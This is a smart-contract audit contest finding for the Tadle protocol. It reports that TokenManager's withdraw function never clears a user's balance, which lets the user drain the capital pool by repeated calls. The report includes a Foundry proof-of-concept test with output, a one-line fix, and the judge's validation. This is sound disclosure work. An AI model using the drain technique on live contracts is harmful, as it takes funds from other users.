Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

`TokenManager.sol::withdraw` can be called many times as `userTokenBalanceMap` isn't setted to 0 after the call.

lazydog

Summary

User can withdraw many times untill the capitalPool is empty as userTokenBalanceMap isn't setted to 0 after the call.

Vulnerability Details

TokenManager.sol::withdraw uses userTokenBalanceMap to get claimAbleAmount but doesn't set it to 0 then.

POC

add test_withdraw_USDC to PreMarkets.t.sol

  1. add token balacne to user

  2. withdraw untill the capital pool is empty.

function test_withdraw_USDC() public {
deal(address(mockUSDCToken), address(capitalPool), 60);
capitalPool.approve(address(mockUSDCToken));
​
vm.prank(address(preMarktes));
tokenManager.addTokenBalance(TokenBalanceType.PointToken, user3, address(mockUSDCToken), 20);
​
console2.log("before withdraw capitalPool: ", mockUSDCToken.balanceOf(address(capitalPool)));
console2.log("before withdraw user3: ", mockUSDCToken.balanceOf(user3));
console2.log(
"before withdraw user3 userTokenBalance: ",
tokenManager.userTokenBalanceMap(user3, address(mockUSDCToken), TokenBalanceType.PointToken)
);
​
vm.prank(user3);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.PointToken);
console2.log("first withdraw capitalPool: ", mockUSDCToken.balanceOf(address(capitalPool)));
console2.log("first withdraw user3: ", mockUSDCToken.balanceOf(user3));
console2.log(
"first withdraw user3 userTokenBalance: ",
tokenManager.userTokenBalanceMap(user3, address(mockUSDCToken), TokenBalanceType.PointToken)
);
​
vm.prank(user3);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.PointToken);
console2.log("seond withdraw capitalPool: ", mockUSDCToken.balanceOf(address(capitalPool)));
console2.log("second withdraw user3: ", mockUSDCToken.balanceOf(user3));
console2.log(
"second withdraw user3 userTokenBalance: ",
tokenManager.userTokenBalanceMap(user3, address(mockUSDCToken), TokenBalanceType.PointToken)
);
​
vm.prank(user3);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.PointToken);
console2.log("third withdraw capitalPool: ", mockUSDCToken.balanceOf(address(capitalPool)));
console2.log("third withdraw user3: ", mockUSDCToken.balanceOf(user3));
console2.log(
"third withdraw user3 userTokenBalance: ",
tokenManager.userTokenBalanceMap(user3, address(mockUSDCToken), TokenBalanceType.PointToken)
);
}
​
before withdraw capitalPool: 60
before withdraw user3: 100000000000000000000000000
before withdraw user3 userTokenBalance: 20
first withdraw capitalPool: 40
first withdraw user3: 100000000000000000000000020
first withdraw user3 userTokenBalance: 20
seond withdraw capitalPool: 20
second withdraw user3: 100000000000000000000000040
second withdraw user3 userTokenBalance: 20
third withdraw capitalPool: 0
third withdraw user3: 100000000000000000000000060
third withdraw user3 userTokenBalance: 20

Impact

User can get money that doesn't belog to him.

Tools Used

manual review

Recommendations

+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
​
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.